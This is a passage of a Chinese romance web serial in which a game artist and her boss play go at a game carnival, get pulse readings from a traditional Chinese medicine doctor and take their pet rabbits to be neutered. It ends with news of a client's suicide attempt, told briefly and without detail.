“怎么了嘛怎么了嘛!”祝笙调笑地挽住她,余光瞥了下邓嘉霖的方向,“怎么样?不喜欢?年上,比你大两岁,单身,我都打听好了,签约主播,打游戏很厉害,年收入也非常可观,你不是偶尔也玩破晓,应该蛮有共同语言的。” 任舒晚无语,“我的好笙笙,别撮合了,我没想法呀。” 祝笙不解,“不帅吗?我觉得很帅啊,桃花眼多勾人啊,看狗都深情。” 任舒晚:“他就是看什么都深情,我也无感。” “为什么?”祝笙百思不得其解,顿了顿,忽然茅塞顿开,“你是不是介意他的职业?哎呀,你放心,他是不露脸主播,明天打竞技赛也要戴口罩,没什么乱七八糟的富婆姐姐。” 任舒晚不语,头大得很。 祝笙搂着她胳膊晃着,“又没让你上来就爱上无法自拔,当朋友嘛,合适再谈下一步咯。” 话音落,邓嘉霖和容锦已经朝这边走来,任舒晚敷衍着应了两声,连忙终止这个话题。 邓嘉霖把手中的两杯饮料递到任舒晚面前,“一杯橙子,一杯桃子,不知道你喜欢喝哪种?都没有加冰,这个季节有点凉了。” 任舒晚接过橙汁,“谢谢。” 祝笙笑道:“表哥好贴心啊!” 容锦也立刻邀功,“我知道笙笙姐喜欢桃子,专门买了桃子。” “好好好。”祝笙抬手揉了揉他卷毛脑袋。 一边闲聊一边往中心区域走,绕过休憩的长廊,远远便看到破晓瞬间的展位布置,巨大的游戏图标横亘在路中间,下方写着“破晓瞬间四周年”大字,图标两侧摆放着所有角色的立绘,此时有不少玩家聚集在一起拍照。 再往里走去就是检票口,入口处设计成游戏地图寒城城门的样式,检票进去有身着古装的工作人员为玩家佩戴感应手环,手环可绑定游戏账号,玩家在游园会中可参与挑战,挑战所得积分会同步至游戏中领取奖励。 绑好账号,工作人员给了一张速通情报和集章本,完成游园会所有挑战可获得限定周边福袋,内涵周年庆特色周边,并且能领取游戏内特殊称号,对战时佩戴可获得属性加成。 走进现场,巨大的草坪充斥着来往的玩家,熙熙攘攘,人头攒动。 中间核心区域设置了主舞台,此时正在准备整点的演出,有不少玩家已经入座准备观看。 主舞台两侧则设置了和角色相关的主题摊位,蝴蝶月的摊位准备了机关解谜挑战和飞镖投掷,完成后除了积分奖励还有“机巧大师”的证书,箫沉的摊位则准备了围棋残局和福气签,完成后奖励九洲山庄雪景冰箱贴。 挨个逛了一圈,任舒晚最喜欢的就是冰箱贴,恰好她围棋入门,能做点简单的死活题。 “你喜欢什么?”任舒晚问祝笙。 祝笙看着展示的冰箱贴,眼睛都在发光,“我喜欢这个,可我不会围棋。” 说罢,容锦和邓嘉霖也摇了摇头。 “那我来。”任舒晚看向NPC,问道,“我一个人解四个人的可以吗?” NPC:“可以呀,解几个送几个。” 任舒晚摩拳擦掌。 祝笙:“那你解,我跟阿锦去那边投飞镖,我们争取通关,拿下周边大奖。” 说罢,她头也不回地扯着容锦就溜了,徒留任舒晚和邓嘉霖大眼瞪小眼。 任舒晚看向他,沉吟片刻,指了指摊位里摆着的棋局,“我去做题。” 邓嘉霖应了声,四下看了看,“那我去炽焰的摊位排队吧,那边的波斯文破译人很多。” 邓嘉霖离开,任舒晚独自一身轻,找了个椅子坐下开始解题。 她幼时常跟任爸任妈下围棋,棋艺虽然不精,但这种简单的死活题还是能做的。 几分钟的时间她便把眼前的黑棋做活了,NPC在旁看着,笑道:“恭喜,那边还有。” 她正解得上头,起身直奔下一桌残局。 但仅仅只是几分钟后,她便耸拉下脑袋,拿着棋子愣神,无论黑棋落在哪个位置,都会被白棋吃掉,她尝试多次都无法破解。 这时,一片阴影忽而落下,紧接着头顶便传来熟悉的磁性男声,“围棋不能只顾眼前的利益,白棋在角部做眼,轻松吃掉两颗黑棋的同时另一个眼也活了。” 任舒晚闻声看去,四目相对,陆言知单手插兜,慵懒而立,眼睛微垂着,漫不经心的眸色落在她身上。 “陆总?您怎么也来了?” 陆言知眉梢微挑,顺势坐到她旁边的空椅子上,他个子高,椅子较矮,他只能微屈膝将腿伸向一侧。 “我来视察工作。” “哦。”任舒晚猜到是他的车,便不那么惊讶了。 她目光落回棋局上,拿起一枚黑棋落在白棋要做眼的位置上,“如果这样呢?” 陆言知没说话,修长的指尖执起一枚白棋,落在黑棋旁边,将困于中间的黑棋吃掉。 任舒晚蹙起眉,收掉自己放上的黑棋,又抢过被陆言知吃掉的黑棋,“不对不对。” 陆言知哑然失笑,他不语,靠着椅背饶有兴趣地瞧她。 她无所察觉,聚精会神地盯着棋局,犀利的目光恨不能将棋盘盯出个洞。 陆言知也不急,悠然等着。 下一秒,她忽然醍醐灌顶,“我知道了!” “嗯。”陆言知含笑应了声,他相信她已经想明白了。 任舒晚执起黑棋落在刚才忽略的位置上,直接破坏掉白棋想要做两个眼所需的要点。 “即便如此,白棋也定然不会放手,它必定会继续扩大做眼空间。”她认真分析着,将白棋落下,又执起一枚黑棋。 她冷静应对,认真思索片刻,继续向角里长,棋子落定,白棋暴露出致命的缺陷——两边无法兼顾。 “成了!”她惊喜道。 后续白棋持续落下风,黑棋最后一击形成聚杀状,白棋净死,黑棋成功。 任舒晚抬眸得意地看向陆言知,像等待老师夸奖的学生。 陆言知淡定自若地点点头,眼中笑意闪烁,“很聪明。” 任舒晚骄傲地仰起头,因受到夸赞,耳廓不自觉染了色,“我还是挺适合学围棋的。” NPC见她又解出一题,开口调笑道:“小姐姐该不会要把我们冰箱贴包圆了吧。” 任舒晚嘿嘿一笑。 有了陆言知的加持,任舒晚很快解决了剩下的两盘残局,拿到NPC递来的四枚冰箱贴,她爱不释手反复欣赏。 走出箫沉摊位,任舒晚道:“陆总,我不能给你,这四个冰箱贴都有主人。” 她沉吟一瞬,回头看了看NPC,压低声音道:“陆总,她们外包公司的工作人员不认识你吗?居然不说送你一个,要不我再去帮你解一题?” 陆言知轻笑一声,“我不太感兴趣。” “那好吧。”任舒晚晃了晃冰箱贴,大雪簌簌飘落,很快将九洲山庄的景色覆盖,“真好看。” “其实我猜到你在这了。”任舒晚又道。 “嗯?”陆言知双眸微眯,“你怎么猜到的?” “因为我看到蓝色大鼠标了,是你开来的吧?” “蓝色大鼠标?”陆言知失笑,“是我开来的,一会儿要体验一下吗?” 任舒晚摇摇头,“我坐地铁很方便,都不用换乘。” 话音落,祝笙便走了过来,她手里拿着赢来的证书,刚想跟任舒晚炫耀,看到陆言知后立刻愣在原地,“陆总,您也在。” 陆言知微微颔首,“嗯,来看看。” “哦哦,您辛苦了。”祝笙顺嘴地拍了句马屁。 她拘谨地轻咳一声,看向任舒晚,“邓嘉霖呢?” 任舒晚随手指向炽焰摊位方向,“在排……” 话还没说完,邓嘉霖已经走了过来,手里提着一盏赤红色的火焰灯笼。 他递到任舒晚面前,道:“送给你。” 任舒晚微愣,下意识拒绝道:“不用,我待会再去排队就好了。” 邓嘉霖:“你拿着吧,灯笼数量有限,现在再去排就拿不到了。” “那谢谢。”任舒晚礼貌接下。 邓嘉霖收回手才注意到任舒晚身边站着的男人。 他有些诧异,试探问道:“这位是?” 任舒晚语塞,这该怎么介绍呢?不知道陆言知会不会介意别人知道他的身份。据她了解,这次嘉年华也有策划团现场爆料环节,陆言知没有参与,显然不想抛头露面。 她思忖一瞬,决定避重就轻,道:“我们领导。” “哦,你好。”邓嘉霖礼貌伸出手。 陆言知眼睑微垂,伸手与他相握,淡漠疏离,“你好。” 气氛微妙古怪,任舒晚吞了下口水,道:“那边还有中医铺子,我们过去看看?” 祝笙也有些局促,“好,我都可以。” 任舒晚看向陆言知,沉吟道:“陆总要去看一下吗?” 陆言知眉梢微挑,从容不迫道:“好。”—— 作者有话说:明天不更,周五晚11点更新。 第20章 第 20 章 心跳不受控 任舒晚原本只是随口一问, 却没想到陆言知果断应了下来,他不是来视察工作的吗?怎么对小游戏也感兴趣了? 但话出口,为时已晚, 一行人只能各怀心思朝中医摊位走去。 此次公司为嘉年华活动专门聘请了好几位省院的老中医, 公益为玩家把脉, 也可写方开药。消息一出就备受玩家关注,从活动开始摊位就排起长龙。 任舒晚选了个相对人少的队伍, 没一会儿便排到了他们。 祝笙见到医生就紧张, 原本排在任舒晚前面,结果火速换了位置,把任舒晚往前一推, “你先来吧。” “啊?”任舒晚被强硬按到椅子上,她回头看祝笙, “至于嘛。” 祝笙摆手,“我缓缓,我缓缓。” 老中医笑了笑,指指脉枕示意。他年近古稀,头发花白, 戴着一副老旧的花镜, 诊脉时聚精会神, 十分认真。 片刻后,他轻声道:“伸舌头我看看。” 任舒晚立刻照做。 老中医点点头, 又示意她换另一只手, “饮食怎么样?拉肚子吗?” 任舒晚:“肠胃不是很好, 偶尔会拉肚子。” 老中医应了声,许久后收回手,拿起笔在纸上写下脉象和建议。 这个方式让任舒晚松了口气, 中医向来了解病人身体,如果大庭广众下直言不讳,说到隐私难免有些尴尬。 等了几分钟,老中医停笔递上单子,“去吧。” “谢谢医生。” 任舒晚起身退到一侧认真查看,白纸黑字,龙飞凤舞的字体写着:脉相偏细弱,气血亏虚,脾胃虚弱,湿气重,乏力、失眠、体寒。建议少熬夜,多吃红枣、黑木耳、南瓜、小米,平时多拍八虚,睡前揉腹。 她心虚地揣起单子,身体确实被她消耗的很差了,从今往后得遵医嘱好好调理。 “怎么样?”陆言知不知何时走到了她身边,开口打断她的沉思。 “还好还好,有点体虚体寒。”任舒晚看向他,“陆总要诊脉吗?” 陆言知淡淡摇了摇头,语气平淡,“不用,我身体一直很健康。” 任舒晚愣了一下,哑口无言,这是讳疾忌医吧?现在快节奏的生活,工作压力又大,基本都处于亚健康状态。 “你该不会是害怕吧?”她好奇问道。 话音落,空气似乎停滞了几秒,一股无声的压抑氛围在两人间徐徐流动。 陆言知没应声也没反驳,视线缓慢移动到她脸上,平静无波。 任舒晚眨眨眼,不说话是默认了? 她像是发现了什么惊天秘密,神色从好奇转为难以置信,但下一秒,她迅速收回出乎意料的表情,她不能嘲笑他,每个人都有害怕的事情,人之常情嘛。 她缓缓开口,循循善诱,“其实没必要怕,不能讳疾忌医,您为公司操劳,经常熬夜加班,身体难免会呈现亚健康状态,发现问题尽早解决才对,不然等影响生活就要调理很久了。” 说罢,她期待地看向他,“您说对吧?陆总?” 他听得认真,唇角不自觉微微扬起,“很有道理。” “我也觉得很有道理。”她坚定回应,余光瞥到祝笙从椅子上站起来,不假思索地用胳膊碰了下陆言知,“去吧,陆总。” 陆言知沉了一瞬,竟毫不犹豫地走上前。 看着他背脊挺拔地坐在医生面前,任舒晚诧异不已,她第一次好为人师,居然这么成功! 老中医搭上脉,左手诊完又换右手,片刻后收回,含笑开始写单子。 任舒晚好奇,前面几人都给医生看得眉头紧皱,怎么换到陆言知,医生的表情变得那么轻松? 等了几分钟,陆言知拿着单子退到她身边,她立即试探问道:“怎么样?” “很健康。”陆言知淡淡一笑,毫不吝啬地把单子递给她看。 任舒晚没接,就着他的手侧头看起来。 沉取有力,如石投水,元气充沛,肾气充盈,很健康,继续保持。 天呐,任舒晚不可置信地瞪大眸子,她以为没人会逃得过中医,没想到居然真的有人健康无比。 “你不是讳疾忌医!”任舒晚斩钉截铁道。 “我没说。”陆言知轻笑了声,“是你自己猜的。” “那是因为你用表情迷惑我!”任舒晚不满地皱眉,“我还以为我非常适合当老师呢,只是微微出手就能劝你看医生。” 陆言知收起单子,从容不迫道:“我没有反驳你不适合当老师,我确实一开始没打算诊脉,是你劝的我。” 任舒晚冷哼一声,悄咪咪瞪了他一眼,什么跟什么嘛,他总逗弄她。 诊完脉从铺子出来,陆言知接了电话去忙,队伍又变成四人小组,祝笙带领着他们继续浩浩荡荡的挑战活动。 一个小时后,四人分别拿到了周边福袋和限定称号。祝笙没玩够还要吵着去和COS合拍,任舒晚有些意兴阑珊,又不好中途离场,恰好这时邓嘉霖接到训练的电话匆匆离去,任舒晚正好有了理由,嘴上说着不给他们当电灯泡,脚下没有一丝犹豫飞快溜走。 从露天广场溜达出来,经过停车场时任舒晚又看到那辆乍眼的蓝色大鼠标,和车旁长身而立的熟悉面孔。 明晃晃的阳光下,陆言知懒懒倚在车身上。 “陆总,您还没走?” 陆言知收起手机,抬步朝她走来,“我找你有事。” 任舒晚疑惑不已,怎么突然就有事情了,难道他引咎自责,发现总是逗她,大发善心决定给她破例晋升高级画师?好吧,她知道自己在痴人说梦。 任舒晚:“您说。” 陆言知没着急,反问道:“你要回去?” 任舒晚不明所以地应了声。 “上车。”他绅士拉开副驾驶车门,“我送你。” 任舒晚坐上蓝色大鼠标,认真环视着内饰搭配,低调中透露着奢靡,不亏花费半个小目标啊,精致华丽。 陆言知扣上安全带,启动车辆,引擎的轰鸣声瞬间刺激耳膜,产生震动,任舒晚想起那夜高架飙车,心脏不由得收紧,加速血液循环。 陆言知偏头正好瞧见她紧张的神色,淡声开口,“白天不会开那么快。” “哦,对。”她松了口气,除了飞机,没有驾驶工具能逃得了临城拥堵的车流。 他轻转方向盘,车子驶离停车场的同时,他的清冽嗓音便再次响起,“刚才给煤球约了绝育手术,元宝过了发情期了吗?” 原来是因为孩子啊—— 不过说到这,任舒晚忽而想到,她原本也打算要问他的。元宝前几天就恢复正常了,她周末带着它去咨询了几家宠物医院,发现没有普通的宠物医生敢给兔子做绝育,他们建议找异宠医生,最好是专门为兔子做手术的医生。 她后来搜过很多资料,才知道兔子生理结构特殊,对麻醉药非常敏感,所以手术麻醉风险极高。其次兔子胆小,很容易紧张应激,从而发生猝死。 任舒晚道:“元宝也恢复了,我正要咨询你,你要带煤球去哪做绝育?” “一家异宠医院,有一位专科治疗兔子的医生,明天你有时间吗?带着元宝一起吧。” 任舒晚想也没想,立刻应下,“那我需要准备什么吗?” “不需要,医生很专业。”陆言知顿了顿,“不过有个问题,绝育可能会让它们性格产生变化,假如你带元宝去绝育,绝育后它可能会记恨你,不再愿意和你亲近。” “啊……”任舒晚迟疑道,“那怎么办,我接受不了元宝不跟我亲亲。” 说罢,她忽然想到什么,眼睛霎时亮起,“陆总,你知道那些带猫猫绝育的主人通常怎么做吗?” 陆言知疑惑蹙眉,摇了摇头。 “我看过一个视频,猫猫主人安排朋友在家门口等着,主人偷偷把家门打开,猫咪好奇心重会跑出去,这时候朋友装作坏人把猫抓走,主人哭嚎着阻拦,眼睁睁看着猫被带走,朋友把猫去宠物医院,顺利绝育。” 任舒晚说得眉飞色舞,眼里像闪着星光般亮晶晶的。 陆言知偏头望向她,唇角不自觉染上笑意。 任舒晚无所察觉,继续道:“到时候主人去宠物医院接猫,猫还会很感动,觉得主人没有抛弃它。我们也可以这样,我去偷煤球,你来偷元宝!” 陆言知看向前方,神色犹豫,沉默片刻,道:“以后元宝见到我会攻击我吧。” “啊。”任舒晚愣愣地眨眨眼,好像不太重要吧,元宝平常也很少见他啊。 虽然心里这么想,但她总不能说出口,还是积极想办法比较好。 “偷兔的时候带个口罩?”说完她忽然想到,“哦,不对,兔子视力很差,喷点香水,喷你从来不用的香水。” “嗯,好。”陆言知顿了顿,“也只是概率,可能绝育不会让它们记恨我们。” “没事,毕竟绝育利大于弊,我希望元宝能多陪我几年。”任舒晚不甚在意地摆摆手,无所谓啦,只要元宝还愿意跟她亲亲就好。 问题解决,她心情愉快,已经十分期待绝育后的元宝乖巧听话的模样了。 两人又商定了细节,约好明天陆言知先来偷元宝,她再跟着去偷煤球,完成后直奔宠物医院! — 第二天,任舒晚起了个大早,提前准备了一个空的外卖包装袋放在门口,以备待会行动任务。 八点,她准时收到陆言知的消息,[我在门口,五分钟后敲门,敲门后藏在楼梯间。] 任舒晚回了个ok的表情包,迅速将兔笼打开,任元宝不明所以地蹦蹦哒哒跳出来,亦步亦趋跟在任舒晚脚边。 任舒晚装作无事人,自顾自继续装早餐,虽然不知道陆言知吃没吃早饭,但她还是多做了一份。 将两份恰巴塔装进保温袋,又放了两杯热咖啡,门便响了起来。 “来啦!”任舒晚出声回应,步履缓慢地往门口挪动,她需要给陆言知一点躲藏的时间。 她一边走一边用余光观察元宝,元宝原本在茶几那扒桌角,闻声蹦跶着跟她往门口去。 太好了! 见机会合适,她立刻开门去拿外卖,结果映入眼帘的景象让她略微惊讶了一下,她的假外卖旁多了一个真外卖,是蛋糕店的精致包装,透粉色的包装盒,里面放了一块葡萄口味的切块蛋糕,样式精美,顶端坠着不同颜色的鲜葡萄,只是看着便让人垂涎。 她下意识看向楼梯间方向,这个角度并不能看到陆言知的身影,但她知道他在那。 心底莫名泛起一丝异样,转瞬即逝,难以捕捉。 她回过神,把真外卖提起来,转身佯装关门,却刻意留了一道缝隙。 她若无其事往屋里走,实则耳听八方。元宝指甲触地面发出细微的哒哒声,接着安静了一会儿,估计是跳到了门口的地毯上,又过了几秒,哒哒声再次响起,渐行渐远。 她停住步子悄咪咪回身去瞧,元宝已经不见了,但她这个位置看不到外面的情况,只能听到陆言知沉稳的脚步声。 过了片刻,她手机微震,一张图片发来,元宝已经被陆言知装进兔包里,表情虽警觉,但不像被吓到的样子。 陆言知:[可以了,我在楼下等你。] 任舒晚迅速把蛋糕放进冰箱,拿起准备好的早餐,穿衣服出门。临关门时她又想到什么,折返拿了给元宝买的新兔包,就把煤球放这里面吧。 下楼后,熟悉的黑色宾利停在路边,陆言知双手插兜站在一旁。 他今天穿了一件黑色高领毛衣,外搭的深灰色大衣沉重厚实,翻领磨毛设计精致,更显矜贵气质。 任舒晚悄咪咪打量他一眼,比起 “元宝已经在后备箱了。”陆言知拉开副驾驶车门,“上车吧。” 上了车,任舒晚扣好安全带,压低声音道:“陆总,谢谢你的蛋糕。” 她小心翼翼地模样像偷东西的小仓鼠,圆溜溜的眼睛眨巴眨巴的,陆言知瞧了她一眼,打趣道:“这车给你封印了吗?” 任舒晚忙摇头,继续低声回答:“没有,我是怕元宝听到我的声音。” “不会。”陆言知了然地挑挑眉,示意她回头去看。 任舒晚循着视线望过去才发现前排和后排之间居然多了一层磨砂隔板,将宽阔地车厢一分为二。 陆言知:“她在后备箱,你在前面,正常说话她听不见。” 任舒晚松了口气,“那就好,我还怕功亏一篑。” 她从保温袋拿出咖啡,“陆总,热拿铁可以吗?” “可以。”陆言知刚想抬手去拿,她已经默契地递了过来,贴心地打开了直饮口,套了杯套防烫。 “我还做了早餐,不是吹牛哦,我做早餐的手艺非常好。”任舒晚笑眯眯道,“一会儿忙完陆总尝尝。” 陆言知勾起唇角,“嗯,好。” 半小时后到了陆言知家,他没把车停进车库而是放在了门口。 下车,走进小院,陆言知道:“一会儿我出来扔垃圾。” 任舒晚点点头,神色坚定,“放心,保证完成任务!” 看着陆言知进门,任舒晚选择藏在石阶下的银杏树后。 这个时节正好是银杏落叶的时候,萧瑟的秋风一吹,金黄的叶子打着旋儿地落下,将石阶和草坪铺满颜色。 任舒晚随着风抬手去接,恰好一片叶子落在掌心,比起方才混杂着绿色斑点的叶片,选中她的这片叶子通体金黄,不掺任何杂质,像抹了一层薄薄的蜂蜜,亮的干净。 她开心地看了一会儿,又小心翼翼装进随身的口袋,回家把它夹在书里,像小时候一样做个树叶书签。 陆言知开门的角度恰好能看到她的一举一动,她侧颜精致立体,一双澄澈的黑眸亮亮的,蕴满惊喜,仿佛坠了星光,闪闪烁烁,让人忍不住陷进去。 他呼吸有些乱,心跳也不受控制。 没有原因,她只是笑就能吸引他—— 作者有话说:任小晚:(笑^^) 陆总:[眼镜]医生,我需要呼吸机。 明晚不更,周日晚11点更新。《 》 20-30 第21章 第 21 章 突然不骂了 静谧时刻, 却不合时宜响起煤球蹦跳的声音,指甲触碰木门发出哒哒声。 任舒晚吓一跳,慌忙蹲下身藏起来。 陆言知思绪回拢, 沉默放下垃圾袋, 装作没有看到煤球, 转身虚掩着门进屋了。 任舒晚缩成一团蹲在树下,默数五秒后噌的一下站起身, 直接和蹦跶着下石阶的煤球撞上视线, 她以迅雷不及掩耳盗铃之势果断出击,单手熟练抄起它的屁股,不给任何反应的机会, 一把塞进了兔包。 拉链拉上,煤球圆溜溜的眼睛从透明窗处看出来, 丝毫没有受惊的模样,只有一头雾水的疑惑。 任舒晚板起脸佯装凶狠样,“被我带走吃肉吧,小兔子!” 门内,陆言知哑然失笑。 任舒晚拎着兔走到车边, 熟练地戴上口罩帽子, 迅速打开后备箱, 元宝的兔包放在一侧,透明窗也朝着一侧, 完全看不到她, 她满意地点点头把煤球放进去, 确认无事才关上后备箱。 昏暗的小空间里,煤球和元宝隔着兔包的窗户大眼瞪小眼,好似两个天涯沦落兔在无声诉说它们被“拐卖”的悲惨故事。 任舒晚等了一会儿陆言知便出来了, 两人开车直奔异宠医院。 医院很近,十分钟后车子就停到了门口。 两人互相拎着对方的兔,还要小心翼翼遮盖窗户位置,防止兔人互认。 到了约好的医生诊室,是一位气质优雅的中年女性,说话轻声细语,温柔和善。 医助接过两小只,医生看了看,道:“黑色叫煤球,小黄叫什么?” 任舒晚道:“元宝。” 医生点头,“得先做常规检查,确保没有心脏病才能手术。” 开了单子,医助带着两小只去旁边的检查室,医生则递给来两份术前知情同意书,“镇定剂、麻醉剂等必要的药物可能对宠物有副作用。术中、术后可能并发症,甚至危及生命,如若发生不测,我们会实施相关急救措施,一定会全力抢救。术后要严遵医嘱进行照料。” 任舒晚越听神色越紧张,昨天她看医生都不这样,反倒到了元宝,她心便揪起来了。 “知悉风险后可以签字了。” 医生递来笔,任舒晚有些愣神,一时没反应过来。 陆言知看了她一眼,从善如流替她接过医生的笔,“好的。” 说完,他又看向任舒晚,目光多了一丝认真,“不用担心,绝育只是一个很小的手术。” 任舒晚缓缓抬眸看去,在对上他视线的那一瞬,心忽然安定下来,她扬扬嘴角,“我知道。” 医生听到笑道:“小姑娘不用紧张,这只是例行公事,我做过很多场兔子绝育手术,风险很小,只不过我要把弊端跟你说清楚而已。” 任舒晚:“嗯嗯,谢谢医生。” 签完字,医助也从隔壁过来了,“苏医生,煤球元宝都很健康,可以进行手术了。” 苏医生:“好的。” 医生离开,医助领着两人去隔壁的休息室,那里有监控屏幕,可以直接看到手术室里的动向。 透过屏幕,煤球还在兔包里窝着,表情看上去十分警惕,反观元宝已经被按在了手术台上准备打麻醉。 任舒晚心里揪得难受,她看向医助,问道:“手术大概需要多长时间?” “半个小时到一个小时。”医助看出她的焦虑,“爸爸妈妈们不用担心,我们苏医生很有经验,如果觉得看到画面紧张,我可以帮忙关掉。” 任舒晚迟疑地看向陆言知,关掉吗?不知道陆言知想不想看,反正她看到元宝躺在那里一动不动很难受。 还没等她询问陆言知的意见,陆言知已经先一步开口了,“关掉吧,谢谢。” “好的。”医助关了监控出去了。 房间里只剩两人,陆言知忽而开口:“我没吃早餐。” “哦,对。”任舒晚注意力被转移,连忙从身旁的保温袋里拿出包装干净的恰巴塔,“青瓜酱加虾仁滑蛋,超好吃的,你尝尝。” “嗯。”陆言知看她笑意嫣然,“不害怕了?” “这么明显吗…”她窘迫地挠挠头,“不知道为什么,可能担心元宝吧。” 陆言知没说话,拆开恰巴塔的包装,无所顾忌地咬了一口,青瓜酱的清爽夹杂着滑蛋的细腻和芝士的香甜,鲜香美味。 “很好吃。”陆言知评价十分中肯。 任舒晚得意地扬起头,“我说过我做早餐技术很好的,保你在哪儿都吃不到这个口味。” “那怎么办?” 任舒晚一愣,“什么怎么办?” 陆言知:“你说在哪都吃不到,那我想吃了怎么办?” “那你可以聘请我当你的私人早餐师。”任舒晚顿了顿,笑眯眯继续道,“但那是另外的价钱。” 陆言知轻笑一声,“明天让人事拟合同。” 嗯???这不对吧!! “陆总,其实我觉得当原画师挺好的,我还想晋升中级呢。” “不冲突,两份工作,两份工资。”陆言知说。 任舒晚眨眨眼,好奇道:“那你给我开多少钱工资?一万?两万?五万?” 陆言知眸子微眯,“打劫?米其林三星主厨月薪也不比你高多少了。” “那不一样,我是私人!私人懂不懂,只有你能支配的那种。”任舒晚字字铿锵。 话音落,她忽地愣住,不对,好像不太对,这话怎么说得那么暧昧。 什么私人,什么支配,什么只有你,胡言乱语什么呢,任舒晚! “私人确实很有诱惑力。”陆言知沉吟道。 任舒晚慌忙垂下脑袋支支吾吾地应了声,咬了口恰巴塔,别想了,早饭好香好香。 接下来的时间,两人略显沉默的并肩啃早餐,直至医助敲门走了进来。 “兔爸爸兔妈妈,元宝手术很成功,现在还在苏醒阶段,一会儿就可以出来了,现在开始给煤球做手术了。” 任舒晚喜上眉梢,“好的,谢谢。” “不客气。” 医助离开,任舒晚又陷入沉思,不对,怎么连兔爸爸兔妈妈都听上去变亲密了,救命! 又等了半小时,煤球手术成功结束,在等苏醒阶段,陆言知接了个电话,有些工作要处理,就先去车上了。 任舒晚在休息室又等了一会儿,两小只才从手术室出来,元宝此时已经十分清醒,看到煤球昏昏沉沉躺在那,它还凑上去给它舔毛。 “患难见真情了。”任舒晚笑道。 医助接话,“两个宝宝在家打架吗?” 啊? 这话给任舒晚问不会了。 “它们也是今天第一次见。”任舒晚尴尬道。 这下换医助愣住了,“不好意思,我以为你们是一家人。” 任舒晚局促地陪笑两声,幸好陆言知不在,不然要尴尬到脚趾抠地了。 医生嘱咐术后注意事项时陆言知回来了,手里还多了一个宠物医院的手提袋。 拿着医嘱,两人一人抱着一只兔离开医院。 上车时任舒晚坐到了后排,他们没有把两小只装在兔包里,主要怕它们控制不住舔伤口,在座椅上坐着她还能监督着。 系好安全带,陆言知突然从前排侧身递来一个手提袋,就是刚才他从医院一路提出来的那个,“你打开看看。” 任舒晚一头雾水,拆开手提袋,里面是两个同样的红色纸盒,包装精致,封口处还贴心的粘贴了蝴蝶结贴纸。 她怀着好奇打开,映入眼帘的是一个可爱的针织宠物项圈,湖蓝色和白色搭配,领口处是领结样式的设计,下面坠了一颗胖乎乎的胡萝卜,针织钩得细致,触感软软糯糯很舒适。 “太可爱了吧!”她忍不住惊叹道。 陆言知微微勾唇,透过后视镜,漆黑的瞳仁满是温和柔软,“同款,刚刚在货架看到的,送给它们的礼物。” 任舒晚:“我小时候生病输液就期待我爸爸买玩具回来,记得有一次我爸加班,我发烧都烧迷糊了也不肯睡,就等着我爸下班回来带玩具,当时看到那辆遥控汽车觉得病都好了。” “那你童年很幸福。”陆言知说。 任舒晚笑眯眯地弯起眼角,“煤球也很幸福呀,我们元宝跟着沾光啦。” “喜不喜欢呀?”她拿着毛茸茸的项圈在两小只面前晃了晃,逗弄着它们不去舔毛。 没多久后,车子稳稳停在任舒晚家楼下,她抱着元宝准备下车,又有些不放心,“陆总,煤球自己在后排可以吗?我怕它会控制不住舔伤口。” 陆言知淡淡道:“没事,戴着伊丽莎白圈它舔不到,我也能看到它。” 任舒晚又看了眼煤球,它一路上确实很乖巧,不是在趴着就是在给元宝舔毛,两小只经过相处竟然意外的和谐。 她抱着元宝往煤球面前凑了凑,“那跟煤球说再见啦,等伤口恢复好了再一起玩。” 陆言知偏头看去,眉眼柔和。 下了车,任舒晚目送陆言知离开才上了楼。 到家后把元宝安顿在笼子里,术后四小时内禁水禁食,过了时间可以吃点蔬菜泥,医生还开了止疼药和益生菌,需要配合着一起吃,能保护肠道。 忙完,她简单吃了午饭,又想起陆言知买的蛋糕,便从冰箱里拿出来品尝一下。 拆开包装盒,香甜的奶油混着清新的葡萄香充斥在鼻尖,她拿手机找角度拍了张照片给陆言知发了过去,又打字道:[漂亮的蛋糕,谢谢大老板~] 陆言知没有立即回复,她收起手机,拆开叉子吃起来。 奶油丝滑细腻,有淡淡的葡萄香,上方点缀的新鲜葡萄也是不同种类,她挨个尝了尝,尝到了最喜欢的巨峰,酸酸甜甜,正好中和了奶油的甜腻。 她又拿手机拍了张被吃掉一半蛋糕,[不光好看还好吃^^] 吃了三分之二实在吃不下去了,肚子撑得浑圆,她只好收回冰箱,去给元宝做饭,顺便活动消食。 等她端着蔬菜泥从厨房出来了,手机响了一声,陆言知回了她一张照片,背景是煤球模糊的脸,主体是他端着的蓝色陶瓷碗,里面是翠绿的蔬菜泥。 接着他发来一条语音,“刚刚在给煤球做饭。” 手机又响一声,他再次发来一条语音,“他店里还有一款手作葡萄酸奶,下次买给你。” 声音隔着听筒传进耳朵,低沉磁性,语调微扬,任舒晚呼吸一滞,耳朵不禁染了色,她不仅颜控还音控啊,怎么能用这个考验人呢! 她迅速将手机移开耳畔,拍了张手里的碗转移话题。 比较起来,她碗里绿到发黑的蔬菜泥怎么都无法提起食欲。 她回了条语音过去,“求陆总赐教,我家元宝好像在吃猪食。” 隔了很久,任舒晚给元宝喂完饭才收到陆言知发来的一条视频,打开后是他录得做饭教程,并配着他清淡嗓音的细细讲解。 用了什么蔬菜,用的什么破壁机,打了多久,一步一步详细至极。 任舒晚愣愣看着,直至视频末尾他用一款粉色小碗盛出蔬菜泥时她才意识到,他居然为了给她拍教程又做了一份,心底忽地闪过一丝异样的情绪。 晚上给元宝做饭她就用上了陆言知的视频教程,同样的蔬菜和同样的操作,做出来果然苍翠欲滴,食欲满满,元宝吃得也比中午多得多。 她拍了照片反馈给陆言知,陆言知回了个小猫竖大拇指的表情,甚是可爱。 任舒晚退出微信,咸鱼小铺却忽然收到年卡老板发来的消息。 自上次她汇报没收到年卡老板回复,她便没有再找过她,想着年卡老板应该生活很忙碌,很少想起过去的往事,她总出现在她面前提起就像揭伤疤,索性勤勤恳恳完成代骂任务就行了。 点开消息,入眼是一长串的文字,任舒晚细细读完第一条,脸色微变。 [你好,我是恬恬的闺蜜小圆,我用她手机给你发消息是想请你帮个忙,不要再骂她前任了。] 接下来年卡老板的闺蜜小圆详细讲了最近发生的事,她称年卡老板叫恬恬,恬恬前几天去找前任,两人发生争吵,她心痛至极服用安眠药轻生,被家人及时发现送去医院洗胃,目前还在昏迷状态。 闺蜜小圆找任舒晚的原因很简单,她希望恬恬能跟过去的一切断绝联系,她打算等她康复带她去国外生活,她知道恬恬找了代骂,她怕代骂如果一直骂渣男,渣男会因此再找恬恬的麻烦。 任舒晚读完,久久不能平复心情,她很替年卡老板不值,为了渣男轻易放弃自己的生命,太傻了。 